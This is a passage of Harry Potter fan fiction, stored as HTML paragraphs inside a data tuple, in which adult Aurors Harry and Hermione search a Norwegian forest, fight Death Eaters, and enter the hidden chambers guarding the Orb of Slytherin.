	(64, 4, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center">- part\nIV: Hermione &#8211;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry pulled his cloak tighter against the\nblizzard. A few metres in front of him, Hermione did the same. &#8220;Where are we?&#8221;\nhe shouted over the wind.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Instead of attempting to shout the answer back\nto him, she stopped walking, waiting for him to catch up. &#8220;An island just off\nof Norway,&#8221; she said\nthrough her scarf. &#8220;<i style="mso-bidi-font-style:normal">Northern</i> Norway. Don&#8217;t worry&#8212;\nas soon as we see the castle, we can go into the forest, and it won&#8217;t be as\ncold or windy there.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They trudged along the snowy shore for what\nseemed like hours. But finally Hermione stopped, pointing, and said, &#8220;There it\nis&#8212; Durmstrang! We must be getting closer.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Can&#8217;t we stop in at Durmstrang\nfor the night?&#8221; Harry asked, his teeth chattering.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione shook her head. &#8220;We don&#8217;t have time;\nwe&#8217;ve got a lot of forest to search.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Then can we stop in at Durmstrang\nafter we&#8217;re done looking for the day?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Think about it, Harry, they actually <i style="mso-bidi-font-style:normal">teach</i> the Dark Arts there. I don&#8217;t think\nwe&#8217;d be the most welcome of guests,&#8221; Hermione said. &#8220;Now, if you&#8217;d just stop\ncomplaining, we could finish this faster.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They climbed a steep hill and found themselves\non a cliff, where the wind was blowing so forcefully it threatened to knock\nHarry back down onto the beach. But as they walked deeper and deeper into the\nwoods, the weather changed for the better.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What exactly are we looking for?&#8221; asked\nHarry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I don&#8217;t know,&#8221; Hermione muttered. &#8220;Anything\nout of the ordinary, I suppose.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry looked around him. Some of the snowfall\nmanaged to penetrate the thick, leafy branches above them, greatly reducing\nvisibility. The great black tree trunks were so close together that they almost\nformed a wall. It all looked very ordinary to him. He adjusted his bulging\nbackpack. &#8220;Shall we start, then?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Together they trekked through the bleak\nforest, not quite knowing where they were going. Every so often Hermione sent\nup a fountain of red sparks to mark areas that they&#8217;d searched. They saw\nnothing of interest, and when they asked a pair of centaurs for help, all the\ncreatures did was complain about how short the nights were during the spring\nand summer. When darkness fell they had no choice but to stop for the night.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;If we&#8217;re lucky,&#8221; said Harry as they set up\ntheir magical tent (which resembled a log cabin), &#8220;we&#8217;ll find this thing in\ntime for <i style="mso-bidi-font-style:normal">next</i> month&#8217;s full moon.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Don&#8217;t be so negative,&#8221; Hermione scolded.\n&#8220;We&#8217;ve still got two whole days to look.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Mind if I take the top bunk?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Fine with me,&#8221; said Hermione, smiling. &#8220;I\nlove the bottom.&#8221;</p>\n\n<p class="MsoNormal">~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The next morning Harry awoke to find a plate\nof toast balanced on his stomach. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Eat fast,&#8221; came\nHermione&#8217;s voice from below. &#8220;It&#8217;s almost 8:00&#8212; we need to get\nstarted.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Yawning, he sat up carefully as not to\noverturn the plate. He stared at the strawberry jam on the toast. For some\nreason, he didn&#8217;t feel hungry, so he tossed the two pieces of bread out the\nwindow of the tent. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:normal">Harry</i>!\nDon&#8217;t waste that!&#8221; said Hermione. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;If we run out of food, we can always catch\nand eat a centaur,&#8221; Harry suggested, pulling on his socks and shoes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;That&#8217;s disgusting.&#8221; Hermione went outside to\nretrieve the toast herself. &#8220;You can go ahead and eat that later, then,&#8221; she\nsaid, throwing it into Harry&#8217;s bag.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes, mum,&#8221; Harry said sarcastically; Hermione\nsmiled and rolled her eyes. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">But their moods darkened as the day went on;\ntheir search was as unsuccessful as the day before. By the end of the day Harry\nwas convinced that the task they&#8217;d been assigned was impossible, and even\nHermione was worried.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;The full moon&#8217;s tomorrow night!&#8221; she said\nfrantically. &#8220;What if we don&#8217;t get there in time? Think of all the people\nVoldemort could kill in the next month if we don&#8217;t make it&#8230;&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;We&#8217;ll probably find it tomorrow,&#8221; Harry said\nto reassure her, though he disagreed with his own words.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;That&#8217;s what we said yesterday,&#8221; she snapped.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Look&#8212; you&#8217;re stressed out. We should both get\nto bed if we want to get this done tomorrow,&#8221; he said cautiously, as not to provoke\nher further.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry climbed into his bunk and Hermione,\nstill grumbling to herself, did the same. But he\ndidn&#8217;t fall asleep. He couldn&#8217;t keep terrible thoughts out of his mind. In the\nremote chance that they did indeed find what they were looking for tomorrow,\nwould tonight be the last time he ever went to sleep? He wondered if Hermione\nwas thinking the same thing. No&#8212; her soft, even breathing coming from the bunk\nbelow told him she was asleep.</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">Snap</i>. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">With the mild paranoia, rapid reflexes and\nacute senses resulting from years as an Auror, Harry sat bolt upright when he\nheard the sound outside the tent. <i style="mso-bidi-font-style:normal">It&#8217;s\nprobably just a centaur</i>, he told himself. But out of the corner of his eye\nhe saw a dark shape skulk past the window. In an instant he&#8217;d grabbed his wand\nfrom under his pillow and slid silently off his bed, landing softly as a cat on\nthe floor.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Crouching next to Hermione&#8217;s pillow, he shook\nher shoulder gently with one hand and covered her mouth with his other. Her\neyes snapped open and looked at Harry, puzzled. Without saying a word he jerked\nhis head in a vague gesture towards the window. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was enough; she understood. She drew her\nown wand from her pillow and cautiously stepped out of bed. She muttered a\nspell under her breath and the glass silently disappeared from the window.\nMotioning for Harry to do the same, she crept over to the open frame. Harry\nlooked outside; the silhouettes that were the intruders melted into the dark\ntrees, making them indistinguishable from the forest background. He&#8217;d never be\nable to see well enough to aim properly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But Hermione, as always, had an answer to the\nproblem. She stuck the tip of her wand through the window and said in a barely\naudible whisper, &#8220;<i style="mso-bidi-font-style:normal">Incendio</i>.&#8221;\n</p>\n\n<p class="MsoNormal" style="text-indent:.5in">A nearby tree burst into flames, illuminating\nthe scene. In the firelight they could see a dozen Death Eaters, momentarily\ndistracted by the fire. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Now,&#8221; Harry whispered; they both dove out of\nthe window just as the door of the tent was kicked down by a hooded and masked\nfigure. An assortment of curses flew through the cabin, hitting the wall where\nthey had just been standing. The Death Eater stared around, confused. Harry\ntook the opportunity to hit him with a Stunning Spell.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But the other Death Eaters had found them out;\nthey were now racing towards them from both sides, wands outstretched. Hermione\nconjured a dense fog to the right to block the Death Eaters&#8217; view; they could\nhear them cursing as they tripped and fell over roots and each other in their\nattempt to get into a suitable range of attack. To the left, Harry used a\npowerful Severing charm to fell a tree, blocking the path of the incoming\nwizards.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:normal">Stupefy</i>!&#8221;\nthey both yelled over and over, hoping to Stun as many\ntrapped Death Eaters as possible. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:\nnormal">Avada</i><i style="mso-bidi-font-style:normal"> Kedavra</i>!&#8221; shouted a deep voice. Harry and Hermione both\ndropped to their stomachs, flat to the ground, and the curse sailed directly\nover top of them. &#8220;<i style="mso-bidi-font-style:normal">Avada</i><i style="mso-bidi-font-style:normal"> Kedavra</i>!&#8221; the\nvoice roared again. They both rolled to the side; the curse hit the snowy\nground right where they were laying no more than a second ago.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:\nnormal">Petrificus</i><i style="mso-bidi-font-style:normal"> Totalus</i>!&#8221; said Hermione from the ground. They heard a\nscream that told them she had hit her target. Harry jumped to his feet. A sound\nabove him directed his attention to the overhead branches of a tree, where he\nsaw a Death Eater who looked as though he maybe a Crabbe\nor a Goyle&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:\nnormal">Impedimenta</i>!&#8221; The Death Eater, wandless,\nhad jumped. Harry&#8217;s spell had hit him in midair, and he fell slowly enough to\nthe ground to give Hermione time to move out of the way before being crushed by\nthe enormous Death Eater.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:normal">Stupefy</i>,&#8221;\nsaid Hermione, to finish him off. &#8220;Thanks, Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They stood in silence, looking around and\nlistening intently for signs of activity. Harry was about to say that he\nthought they got all the Death Eaters when he heard a blast from behind him.\nHermione was thrown forward with a crunch into the nearest tree.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:normal">Expelliarmus</i><i style="mso-bidi-font-style:\nnormal">!</i><i style="mso-bidi-font-style:normal"> Stupefy!</i>&#8221; Harry shouted,\nwhirling around. Nobody was there. He leaned into the window and looked around\nthe tent; a Death Eater&#8217;s head, hand, and wand was just visible under\nHermione&#8217;s bed. &#8220;<i style="mso-bidi-font-style:normal">Stupefy</i>,&#8221; said\nHarry; the hiding Death Eater dropped his wand and his head to the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He ran over to the tree where Hermione lay,\nand rolled her over. She was conscious, but her nose and forehead were bleeding\nprofusely. &#8220;Are you all right?&#8221; he asked, wiping snow and blood off her face\nwith the sleeves of his robes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">She blinked. &#8220;I think so,&#8221; she said, but\nwinced with the effort of moving her face. He pulled her to her feet and helped\nher inside the tent, extinguishing the smouldering tree as he passed it. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Sitting her on the bed, he handed her a towel\nfor her face and one of the pieces of chocolate that he always carried with\nhim&#8212; a habit he&#8217;d picked up from Remus Lupin. Kneeling down in front of her, he\ntook her face gently in both hands and examined it. His stomach flipped again;\nhe didn&#8217;t know why&#8212; he&#8217;d never felt queasy at the sight of blood before.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Deep cut to the forehead,&#8221;\nsaid Harry, &#8220;and a broken nose.&#8221; He performed the\nappropriate healing charms as taught in Auror class. He ran a finger across her\nforehead. &#8220;Congratulations on acquiring yet another scar. Pity yours don&#8217;t come\nin cool shapes,&#8221; he teased, tracing the lightning bolt on his own forehead. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione rolled her eyes. She stood up, taking\nHarry&#8217;s hands in her own. &#8220;Thanks so much,&#8221; she whispered, her cinnamon eyes\nboring into his emerald ones.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You&#8217;re welcome.&#8221; Harry looked away, let go of\nher hands, and ascended the ladder to the top bunk, leaving a\ndisappointed-looking Hermione to climb alone back into her own bed. </p>\n\n<p class="MsoNormal">~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione shook him awake the next morning when\nit was barely light out. He felt as though he hadn&#8217;t slept at all. Groaning, he\nswung his legs to the side, dangling them off the bunk bed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;The Death Eaters know we&#8217;re here,&#8221; she\nexplained. &#8220;We have to be a lot more careful. Of course, that means we have to\ngo a lot more slowly.&#8221; She pulled him by his ankles off the bed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What are we going to do with all these?&#8221;\nHarry asked, gesturing at the Stunned Death Eaters littering the tent floor and\nthe ground outside. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I suppose we could leave them in the tent\nuntil we get back home. We won&#8217;t need to sleep in it anymore, remember?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry collapsed the magical tent, Death Eaters\nand all, and stuffed it into his bag. After breakfast (toast&#8212; fresh for\nHermione, soggy and stale for Harry), they set off again to finish their\nassignment. It was unfortunate that they had to do it after a night of\ninterrupted sleep&#8212; they needed their wits about them. The cold mountain air was\nrefreshing at first, but after a few hours it became more of a curse than\nanything else. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You&#8217;d think it was mid-January rather than\nmid-May,&#8221; said Hermione, attempting to warm herself with a jarful of bluebell\nflames.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It wouldn&#8217;t be so bad if we just got some sun\ndown here,&#8221; Harry said, looking up. The sunlight was blocked by the thick\nfoliage above.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Their moods didn&#8217;t improve as the day went on.\nBy noon they had given up hope of\nfinding the Orb; exhausted and frustrated, they sat on the icy ground, backs up\nagainst a tree trunk. &#8220;We must be doing something wrong,&#8221; Hermione said for\nabout the hundredth time. &#8220;Come to think of it, I probably translated the rune\nwrong.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;We both know you didn&#8217;t,&#8221; Harry argued. &#8220;We\njust need more time&#8230; pity you don&#8217;t have the Time-Turner anymore.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, there&#8217;s always next month, I suppose.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Wait&#8230;&#8221; Harry had spotted something in the\ndistance. Between the trees he could see a narrow splinter of light reflecting\noff the white-blanketed ground. As they walked towards it he saw that the light\nwas illuminating a black, flat, round object on the forest floor. But upon\ncloser inspection Harry saw that the black thing was not an object at all, but\nmerely a lack of snow.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was a perfect circle, fifteen feet in\ndiameter, in which no snow had fallen. The black forest dirt was visible, in\nsharp contrast with the snow-covered terrain surrounding it. But unlike the\nrest of the forest floor, no undergrowth or plant life of any sort was growing\nin the circle, and the branches of surrounding trees did not encroach into the\nspace above the mysterious ring, allowing sunlight to brighten it and give it a\nghostly appearance.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Strange&#8230;&#8221; Harry murmured, gazing first down\nat the barren ground, and then up where the dazzling column stretched as far\ninto the sky as he could see.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Very strange,&#8221; Hermione agreed, walking\naround the spot and staring at it. Harry could practically see the cogs working\nin her brain. &#8220;So&#8230; what do you think?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You&#8217;re the brainy one&#8212; you tell me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione pulled a branch from a nearby\nevergreen and cautiously poked it into the circle. The part of the branch that\nprotruded into the ring froze solid and shattered. &#8220;Well, it&#8217;s definitely\nmagic,&#8221; said Hermione uneasily. &#8220;D&#8217;you suppose it does the same for humans?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;There&#8217;s only one way to find out.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8220;Harry,\ndon&#8217;t&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But Harry had already stretched his little\nfinger a small distance into the circle; the tip of his finger went the way of\nthe branch. But that was not what hurt him&#8212; he staggered backwards, both hands\nclutching his forehead. &#8220;Well, we&#8217;ve found the right place,&#8221; he said, panting.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Sometimes,&#8221; said Hermione teasingly, &#8220;regular\nscars are preferable to cool-shaped scars.&#8221; Her tone became serious. &#8220;We&#8217;ve\nfound it, then. The protective wards must come down at the full moon&#8212; that&#8217;s\nwhen we have to do it. And the centaurs were right&#8212; the nights are short\nbecause we&#8217;re so far north, so we won&#8217;t have a lot of time&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;We&#8217;ve still got a few hours till sundown&#8212;\nlet&#8217;s just rest for a while,&#8221; Harry suggested.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They found a small clearing nearby. Hermione\nmade a magical fire while Harry dragged over a log for them to sit on. They sat\nin silence, brooding, staring into the dancing flames.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Now that they had found the entrance to the\nOrb of Slytherin, the reality of it was starting to sink in for Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Tonight it would happen. Tonight he would\nfinish what he had started twenty-three years ago, albeit against his will.\nTonight they had the opportunity to avenge so many deaths. Tonight they could\nkill the Dark Lord, who sowed over twenty years of fear and misery for innocent\npeople. Tonight they would change the wizarding world\nfor the better.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry realised with a jolt that this was their\nlast mission. Whether they destroyed Voldemort tonight or died trying, never\nagain would they be called into service to capture Death Eaters and question\nthem on Voldemort&#8217;s whereabouts. Never again would\nthe troubled Ministry of Magic desperately call on the greatest Auror team ever\nfor help. Never again would they spend days in non-stop combat, wondering\nwhether they would live to see tomorrow.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What are you planning to do when there&#8217;s no\nneed for Aurors anymore?&#8221; Hermione asked suddenly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;How&#8212; I was just thinking about that,&#8221; said\nHarry incredulously.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione gave him a soft smile. &#8220;I&#8217;ve known\nyou so long, it&#8217;s almost like I can read your mind,&#8221; she said quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Maybe you shouldn&#8217;t have been so quick to\ngive up Divination.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You still haven&#8217;t answered my question.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry thought for a moment. &#8220;I don&#8217;t really\nknow&#8230; I suppose I might go to Hogwarts, and teach Defence Against\nthe Dark Arts. I&#8217;ve heard that position will be open again in the Autumn&#8212; no surprise there. What about you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, I was thinking of teaching as well, but\nafter thirteen years together, I suppose you&#8217;ve had enough of me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No&#8212; not at all&#8212; I&#8212;&#8221; Harry said quickly. He\nlooked up at her&#8212; she was smiling. His heart slowed back to a normal pace.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I was just kidding. I&#8217;m still hoping to get a\nteaching job. I really want to have a normal life&#8212; you know, get married, start a family&#8230;&#8221; her voice trailed off.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;And who&#8217;s the lucky man?&#8221; Harry asked, his\nvoice accidentally cracking mid-sentence.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;ve got someone in mind,&#8221; Hermione said very\nslowly and deliberately.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry busied himself tending to the fire,\nwhich had been doing quite well on its own.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Good God, it&#8217;s\ncold,&#8221; commented Hermione. She moved closer to Harry. Harry stood up abruptly,\nrummaged for something in his bag, and returned a moment later with a thick\nGryffindor quilt. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Here,&#8221; he said, handing it to her. &#8220;Very warm.&#8221; He sat down on the other side of the log.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Thank you,&#8221; Hermione said in a bit of an\nannoyed tone.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They spent the passing hours making small\ntalk, delicately skirting around the topic of the impending mission. They\nreluctantly ended their conversation as soon as they could see the inky black\nsky through the gaps in the foliage. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It&#8217;s time to go now,&#8221; Harry said, fighting\ndown the thrill and nerves inside of him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione nodded after giving an involuntary\nshiver and stood up from the log, on which the Gryffindor blanket sat, unused\nand still folded. Without a word they made the short walk to the mysterious\ncircle. Testing with another branch, they found Voldemort&#8217;s\nprotective wards were no longer intact. Holding their collective breath, they\nstepped into the circle; nothing happened. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Now what?&#8221; asked Harry.\n&#8220;This circle isn&#8217;t just here for decoration.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I don&#8217;t understand,&#8221; said Hermione, frowning.\n&#8220;Maybe it&#8217;s not quite a full moon yet.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It is,&#8221; said Harry. &#8220;Remus would know.\nThere&#8217;s something we&#8217;re missing&#8212; wasn&#8217;t there a verse in the rune we didn&#8217;t\nunderstand?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione pulled a creased piece of parchment\nfrom her pocket and read aloud, &#8220;The key to the door of which I speak has been\nhidden along with this, and its sister remains lost\namong&#8230; Oh, I just don&#8217;t know! Wait&#8230;&#8221; Precious minutes of nighttime\nticked away as Harry watched Hermione walking back and forth, talking to\nherself under her breath. Harry was reminded of a time long ago, in their first\nyear at Hogwarts, when he had stood and watched Hermione solve the\npotions-logic problem on the way to the Philosopher&#8217;s Stone.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What if&#8230;&#8221; said Hermione,\nthinking aloud. &#8220;What if &#8216;this&#8217; means the parchment itself? A play on\nwords, sort of, a trick&#8230; clever&#8230; If it does, then the key must have been in the\nbox with it. But there were no keys, were there? Just more parchment, and&#8230;\nand&#8212;&#8221; She clapped her hands. &#8220;Harry, turn out your pockets&#8212; do you still have\nthe rings? The two silver ones?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Er&#8212; yes, I think\nso,&#8221; said Harry, fumbling in his pockets. His hand closed on two pieces of cool\nmetal; he held one out to Hermione, but she shook her head.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Not that one&#8212; I won&#8217;t wear it. That was in\nthe past, and I&#8217;m done with it,&#8221; she said, taking the plain silver band from\nHarry instead. Not wanting to waste any more time, Harry uncomplainingly jammed\nHermione&#8217;s ring onto his undamaged little finger as Hermione slipped the other\nring onto her thumb.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Immediately Harry felt something pull around his\nnavel, and together they underwent a voyage quite similar to that of a Portkey. Unpleasant memories ambushed Harry&#8217;s mind during\nthe bumpy journey&#8212; he was all too glad when they landed unceremoniously in a\nnarrow stone corridor. Torches lined the cold, damp walls, but somehow the\nlight they gave seemed dark. An enormous wooden door loomed ominously at the\nend of the hall.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They silently approached it. Harry put his\nhand on the doorknob but stopped at a light touch to his elbow. &#8220;Harry&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">One look at the anxious and apprehensive face\nbeside him told him what she was thinking&#8212; her expression echoed the doubts and\ntrepidation lingering in his own mind. Really, they had no idea what to expect&#8230;\nfor all they knew, a million Death Eaters or even Voldemort himself could be\nwaiting for them behind this door. But, of course, Harry didn&#8217;t voice these\nworries. &#8220;It&#8217;ll be all right,&#8221; he told her instead. He wished he could make his\nvoice sound more comforting, but it came out the way he was feeling&#8212; fierce,\ndetermined, focused, and harsh. The time for action had come, and he was locked\ninto a warrior mindset. &#8220;There&#8217;s a reason you were sorted into Gryffindor, and\nnot Ravenclaw,&#8221; he added.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione exhaled loudly and looked away from\nHarry as he turned the knob. But she followed him into the vast chamber beyond\nthe doorway, and the Auror in her kicked in as she rapidly began making\nobservations.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;The floor is perfectly smooth,&#8221; she noted.\n&#8220;And it&#8217;s dark&#8212; no torches anywhere&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;There&#8217;s something in here&#8212; listen,&#8221; said\nHarry. Indeed, they could faintly hear an obscure clicking or thudding noise.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Suffering fuck!&#8221; Harry cursed\nsuddenly. Out of nowhere had come a particularly nasty Dark spell that Harry\nhad had the misfortune to endure once before, at the hands of Walden Macnair weeks earlier. Harry froze, trying to reduce the\nfriction of his robes as much as possible. He could feel his skin blistering as\nthough he were on fire. And just as quickly as it had come, the pain ended.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Is there any countercurse\nyou <i style="mso-bidi-font-style:normal">don&#8217;t</i> know?&#8221; he asked Hermione,\nbut she shushed him in reply. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;There&#8217;s no way we can know what&#8217;s coming if\nwe can&#8217;t see,&#8221; she said hurriedly. &#8220;Pity stone doesn&#8217;t burn&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was struck with the sudden inspiration\nthat providentially always seems to come in times of danger. He conjured a\ncurtain that spread itself over the farthest wall of the chamber. Hermione,\ncottoning on immediately, said, &#8220;<i style="mso-bidi-font-style:\nnormal">Incendio</i>.&#8221; The room was now brightly lit&#8212; but there was\nnothing to be seen.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;The Jujenaj,&#8221;\nHermione said quickly. &#8220;It&#8217;s invisible. This is just great&#8230; I&#8217;d been hoping\nRemus was wrong about this one.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry dodged a curse coming at him from a far\ncorner. &#8220;It&#8217;s over there!&#8221; he shouted, pointing where the beam of light had\noriginated. But a split second later a second curse shot from the other side of\nthe room.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;This is impossible,&#8221; said Harry through\ngritted teeth.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Nothing&#8217;s impossible,&#8221; Hermione said. &#8220;Watch\nthis.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">She muttered a few well-chosen words, and\nsomething blasted out of her wand and streamed onto the floor. It took Harry a while\nto realise what was going on&#8212; Hermione was covering the floor with a layer of\nsand a few inches thick.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione ended the spell. Nothing happened for\na minute or two, but then Harry saw motion. A small hole appeared in the sand,\nand quickly filled up again. Tiny footprints became visible in the trail of the\nJujenaj, which was also moving much more slowly due\nto the sand. It was now quite easy to tell where the creature was.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Brilliant,&#8221; Harry said as he blocked a curse\nsent at him by the Jujenaj. He aimed his wand,\nestimating the Jujenaj&#8217;s location based on where the\nlong trail of footprints ended. Hermione did the same.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Together they said every spell they could\nthink of to disable the Jujenaj. It worked&#8212; the Dark\ncreature stopped in its tracks and ceased to bombard them with curses. Harry\nresisted the urge to touch the Jujenaj to find out\nits shape and how it felt, and, slipping in the ankle-deep sand, followed\nHermione to the door.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry had hoped that the next chamber would be\nthe location of the Orb, but that would have been, of course, too simple. The\ndoorway led into a sort of narrow hall. They ran along it until it split in two\ndirections; down these alternate paths Harry could see even more forks and dead\nends.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It&#8217;s a maze,&#8221; he said, his mind being flooded\nby ominous memories that he prayed weren&#8217;t foreshadowing tonight&#8217;s events. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh, just excellent,&#8221; said Hermione\nsarcastically, looking at her watch. &#8220;All right, Harry, listen up. We don&#8217;t\nhave time to try to get through this maze together. We have to split up.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;But&#8212;&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No, listen to me. With two of us going on\nseparate paths, we can find it sooner. Every time you take a fork in a path or\nchange direction, leave red sparks as a marker so you can find your way back\nout again, and so you don&#8217;t search the same path twice. I&#8217;ll use green sparks.\nIf you find the Orb, or whatever&#8217;s at the end of this thing, use an\nAmplification Charm on your voice so I can hear you, and we can get out of here\nas fast as we can.&#8221; Hermione said all of this very rapidly.</p>\n\n<p class="MsoNormal" 